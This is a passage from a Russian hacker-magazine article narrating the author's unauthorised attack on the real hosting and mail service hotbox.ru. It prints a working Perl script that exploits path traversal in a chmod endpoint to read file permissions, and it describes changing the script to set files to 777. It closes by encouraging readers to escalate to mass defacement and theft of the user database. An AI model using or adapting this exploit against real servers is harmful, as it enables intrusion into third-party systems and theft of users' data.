Как я ломал hotbox.ru Master-lame-master Хакер, номер #073, стр. 073-044-4 Скрипт, проверяющий права на файлы #!/usr/bin/perl use Socket; use IO::Handle; $host="hosting.hotbox.ru"; $template="/auth1.php?action=chmod&wdir=/../../../../../usr/local/hotbox/www/tmp/&file=/../../../../../usr/local/hotbox/www/webbuilder/[here]&sess_id=N15d2f1bd2a424ec923e267154dce388"; # Для каждого файла – своя ссылка open(FILE,"authadd.lib"); @files=<FILE> ; close(FILE); # Обработаем документ с файлами foreach(@files){ chomp; $get=$template; $get=~s/\[here\]/$_/g; print $_." ".get($host,$get)."\n"; # Произведем замену и вызов процедуры get для каждого файла } sub get { my ($url,$dir)=@_; my $host=inet_aton($url) or return 1; socket(SOCK,AF_INET,SOCK_STREAM,getprotobyname('tcp')) or die "socket() failed: $!\n"; my $dest_addr=sockaddr_in(80,$host); connect(SOCK,$dest_addr) or return 3; SOCK-> autoflush(1); # Создадим сокет print SOCK qq{GET $dir HTTP/1.1\r Host: $host\r Pragma: no-cache\r Cache-Control: no-cache\r Connection: close\r\n\r\n}; # Пишем в него данные sysread(SOCK,$data,14000); # Читаем данные $data=~/<h4> (.*)<\/h4> /; # И выписываем атрибуты файла $ans=$1; close(SOCK); return $ans; # Возвращаем результат } При тестировании сценария я долго не мог понять, почему он не показывает атрибуты. Дело в том, что для хакерской деятельности мне приходилось применять проксик, а скрипт я запускал с другого шелла. Естественно, что идентификатор не принимался сервером. Чтобы решить проблему, я заюзал продуктивный сценарий с компьютера, где располагался мой прокси-сервер. Только тогда он показал права для всех файлов. Но и этот скрипт не решил поставленную задачу. Ни один из обработанных файлов не имел прав 666 и 777. Тогда мне в голову пришла другая идея – я решил модифицировать сценарий, чтобы он перед показом прав пытался их изменить. Представь, что по какой-то причине в каталоге находится файл, принадлежащий nobody. В этом случае скрипт, запускающийся от nobody, успешно изменит атрибуты на желаемые. Чтобы проследить такую ситуацию, я добавил в сценарий дополнительный запрос с параметрами owner=7&group=7&public=7&confirm=1. Наличие этих опций заставляет скрипт поменять права на 777. После попытки изменения вызывается процедура get, просматривающая текущие атрибуты. В случае если последние равны трем семеркам, владелец файла – nobody. Злосчастный финал Не буду тебя мучить бредовыми идеями :). Скажу лишь, что финт с изменением прав не привел ни к чему хорошему – я не обнаружил ни одного скрипта, которым владеет nobody. Таким образом, помучившись с недельку, я забил на HotBox. Администрация сервиса так и не помогла возвратить ящик, и мне пришлось смириться с мыслью, что это мыло уже никогда ко мне не вернется. Несмотря на это, я сделал для себя вывод: в любой системе при желании можно найти баг. Даже если брешь маленькая, никто не запрещает копать глубже, опираясь на мелкую уязвимость. Возможно, с ее помощью удастся найти дырочку покрупнее, которая приведет, например, к массовому дефейсу. А если совсем постараться, то реально засечь масштабный баг и унести базу данных по пользователям сервиса. У меня не хватило стремления, чтобы добиться этой цели. Но немаловероятно, найдется человек, который доведет мое дело до конца :). |